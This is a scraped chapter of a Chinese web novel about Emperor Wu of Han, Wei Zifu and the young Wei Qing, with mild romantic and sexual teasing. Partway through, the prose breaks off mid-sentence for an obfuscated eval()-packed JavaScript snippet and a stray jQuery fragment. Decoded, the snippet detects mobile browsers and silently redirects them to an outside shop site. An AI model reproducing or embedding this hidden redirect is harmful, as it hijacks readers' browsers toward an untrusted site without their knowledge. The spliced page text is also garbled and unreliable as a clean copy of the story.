文趣网 > 其他小说 > 汉武今天也在为我腿软GB > 6. 第 6 章
    刘彻的目光之下,夜色醉人,未央宫寝殿的烛火醉人。

    烛火下,袅袅婷婷,一步步向着他走来的巫昭更是醉人。

    他肉眼所看到的巫昭鬓发如云,身姿曼妙,肤色白皙,神情温婉柔顺。

    即使属于卫子夫的那一张脸在阅美无数的他眼中,算不得是最美,却无疑是极符合他心意的。

    更不必说灯下看美人,越看越美。

    朦朦胧胧的烛火映照之下,“卫子夫”身上的每一寸肌肤、每一根发丝,都好似是染上了不一样的色泽。

    叫他见之心喜。只恨不得拉了她的手,将她压在身下,对着她好好展示展示,什么叫大汉天子的威仪与威严。

    他是如此想的,更准备如此去做。

    他的指尖伸出,眼看着巫昭拿了药酒在床边坐下,用那如同是被削好的葱白一般白嫩、纤细的手指隔着衣物,按在了他的腰间。

    他的瞳孔倒映之下。巫昭眼波流转,嘴唇红润细腻好似上好的朱砂,一张一合。叫他迫不及待的,想要将其含在口中,细细品尝。

    至于巫昭口中说了什么......

    “还请陛下宽衣。”

    “宽衣,朕现在就宽衣。”

    他伸出的指尖同巫昭的手指相碰。他手上用力,将巫昭拉到怀中。

    他用另一只手的指尖将巫昭的下颔挑起,望进巫昭的眼。

    他后知后觉,只觉得有凉意顺着地面爬上腰间,蔓延上脊背,直至脑海。

    他嘴唇颤抖,面色泛白,终于是想起自己究竟是忘记了什么。

    想起自己忘记了这女子看似温婉的表相下,究竟是何等的胆大包天,恣意妄为。

    虽然他或许是同样有被舒服到。但他贵为天子,又怎能,怎能......

    刘彻身形僵硬,脸上异彩纷呈。然后便见巫昭柔柔弱弱的开口,暗示意味十足的问他道:

    “陛下可是要我替你宽衣?”

    孤男寡女,美色当前。又是身处在这未央宫中,他最熟悉且最能够代表他权势的地方。对于某些成年男女之间所应该做的事情,刘彻原本是不应该有任何迟疑的。

    但他已经是错过一次,踩进过陷阱,被眼前这女子那副柔弱的姿态迷惑过了。

    难道还要不断踩坑,一错再错不成?

    自认为一时的舒爽固然重要,但自身的形象更加重要的刘彻轻咳两声,替巫昭理了理耳侧的碎发,松开了困住她的手,一本正经道:

    “算了,你力气不够,给朕揉腰这种事,还是让赵同来。”

    他的语音严肃,表情同样是严肃。仿佛他此前和巫昭之间的风月与暧昧,不过是一场错觉。而他现下所处的,不是未央宫的寝殿,而是和衮衮诸公们议事的朝堂。

    嗯,前提是你得忽视——

    “陛下确定不需要我,而是要让赵同来?”

    巫昭唯唯称是,姿态柔弱从刘彻怀中退出。理了理稍显凌乱的衣衫,便要去唤那候在门外的小黄门赵同。

    但就在她将要转身走出寝殿,走出刘彻视线范围的那一刻。她忽然停下了脚步,回头,似笑非笑的瞥过刘彻一眼。然后不急不缓的将话音落下,离去。

    徒留刘彻愣在原地,面色一寸寸龟裂。

    良久,他方才将视线下移,目光落下,落向巫昭瞥过的地方。那是......

    哦,是他的躯体诚实的将他背叛,将他内心里最真实的意图显露。妄图在这可恶的女子面前,将自己的威严显露。

    “卫、子、夫!”

    刘彻气红了眼,面无表情磨牙。终是在那叫赵同的小黄门进到寝殿之际开口,恶狠狠道:

    “滚!都给朕滚!朕要杀了你!杀了你!”

    啊,皇帝陛下本不稳定的情绪,似乎是更不稳定了呢。

    遭了无妄之灾,一只脚踏进刘彻寝殿的赵同在内心里感叹一二。然后小心翼翼的退出寝殿范围,并且将门带上。

    至于皇帝陛下口中“杀杀杀”的话语......

    噫,风太大,皇帝陛下刚刚说什么来着?

    他不过是个人微言轻,没什么背景后台的小黄门。可不敢在这个时候触皇帝陛下的霉头,去问清楚弄明白,皇帝陛下究竟是要杀谁。不过......

    “你不该激怒他的。”

    卫子夫的声音在巫昭走出寝殿范围之后响起,对她道:

    “抱歉,我不该置喙你的做法。但......”

    但什么呢?

    兰因絮果,数十载夫妻。从彼此最美好的年华到白发苍苍,刀剑相向。卫子夫自然是了解刘彻,了解这个帝王的。

    他们之间的纠葛太深太深,深到不仅仅是她,便是刘彻再来一遭,带着记忆再走一遍曾经走过的路。卫子夫相信他同样是会找到自己,选择自己。

    但这并不意味着刘彻便是好相处的。更不意味着刘彻会容许随意的什么人,将他的威严践踏。

    即使卫子夫清楚,这将她替代了的存在是非人。更清楚现在刘彻还不是后来的那般权欲熏心,那般灭绝人性且不近人情。可......

    “你爱过他?”

    巫昭问,用的是陈述且肯定的语气。

    风吹过檐下的宫灯,她脚下的影似乎随之而有一瞬间的怔愣与扭曲。

    良久,巫昭听到卫子夫用那飘忽到仿佛是要被风吹散的话语道:

    “是啊。”

    如何能够不爱呢?卫子夫是在最美好的年岁遇到了年少英俊,高贵风流的帝王。

    他将她捧到高位,给予她、给予她的家族莫大的恩宠。

    他在曾经的很长一段时间内,是如此张扬且热烈的爱着她、爱着她的子嗣、她的家族成员......

    爱。

    曾经的恩宠是真,后来的猜忌、倾轧、相杀同样是真。

    爱之欲其生,恶之欲其死。

    她说,“可这对于位卑者而言,实在是太过奢侈。”

    她还有她的阿弟、她的家人需要一根向上攀爬的绳索。拽着他们从泥潭里走出,将门庭改换,而不是一再的重复被挑选、被恩赐、被抛弃的命运。

    她早在前生遇到刘彻之前,便已经被世事与命运打磨成温柔、隐忍,却又从不缺少孤注一掷的勇气的模样。

    她既然是可以不因帝王的宠爱而迷失,谨

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691209|207901||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    言慎行。自然是可以在帝王恩宠断绝之后做好她的本分,直至最后奋力一搏。

    她败了,但前生的刘彻同样赢的并不精彩,更不漂亮。

    甚至距离满盘皆输,只有一步之遥。

    她听到了巫昭轻笑,道:

    “你看,他其实从来就不可怕,不是吗?”

    但阴晴难定、喜好莫测的帝王在世人眼中,向来是可怕的。

    即使在此时刻,大儒董仲舒的天人感应学说中,君权神授等某些观点尚未在刘彻的支持下,被选择性的大力推行开来。为高高在上的帝王赋上一层神秘的色彩。

    然而皇帝陛下大张旗鼓的驾临建章宫中,考验一众侍从的武艺、学识、功课等,又如何不叫被打了个措手不及的侍从们战战兢兢,唯恐应对失措?

    当然,这并非是这些侍从们小家子气,没有见过世面。而是......

    “你们看陛下的脸色,真是太可怕了。”

    “怎么回事?是谁惹到了陛下吗?”

    “该不会是因为,陛下对我们这些时日里的操练成果都不太满意吧?”

    有对着刘彻展示过武艺的侍从从演武场上走下,愁眉苦脸的聚集在一起,小心翼翼的做出猜测。直至一面容俊朗,气质沉稳的少年走上演武台。

    “糟糕,怎么让他给上了?他才来不过几天,不过是个毛都没长齐的黄毛小子。要是他表现不好触怒了陛下......”

    让陛下本就不好的心情雪上加霜......

    有在建章宫中当差的校尉对着演武台上瞥过一眼,眼前一黑。只恨不得能够上前一步,将那少年拉下。却见那少年选了强弓,将弓弦一点点拉开。

    “好!”

    高台之上,本是存心前来考(zhao)察(cha)的刘彻喜形于色,发出一声叫好。上前扶了那少年的臂膀,问他道:

    “你可还有什么其他的技艺?”

    “可否请陛下为我安排一匹快马?”

    刘彻即位之后,便立誓讨伐匈奴,一血高祖白登之围,匈奴年年劫掠、骚扰大汉边境之耻。

    虽然因为长乐宫窦太皇太后压制的缘故,尚且无法将自身的政治理念与理想实现。

    但他其实是在一直为此而准备的。即使他目前的动作,尚且局限于在宫中开设演武场,亲近、提拔愿意跟着他走的青少年,学习、收集胡人情报......

    可具有着规模宏大的皇家猎场的建章宫,显然是天然适合跑马的。

    又或者说刘彻在下令建造建章宫时,便提前考虑到了这些。

    伴随了刘彻一声令下,那少年牵了马,翻身而起,跃至马上,弯弓搭箭,手中箭矢如同流星一般跃出......

    一箭又一箭,神采飞扬,恍若艺术。

    箭箭命中靶心。

    “好!好!好!”

    刘彻猛地一拍大腿,接连说出三个“好”字。直至那少年英姿飒爽,跑马飞奔至他近前。他上前,一脸高兴的将那将要拜倒的少年扶起,问少年道:

    “好小子,告诉朕,你叫什么?”

    “回陛下,我叫卫青。家中行二,字仲卿。”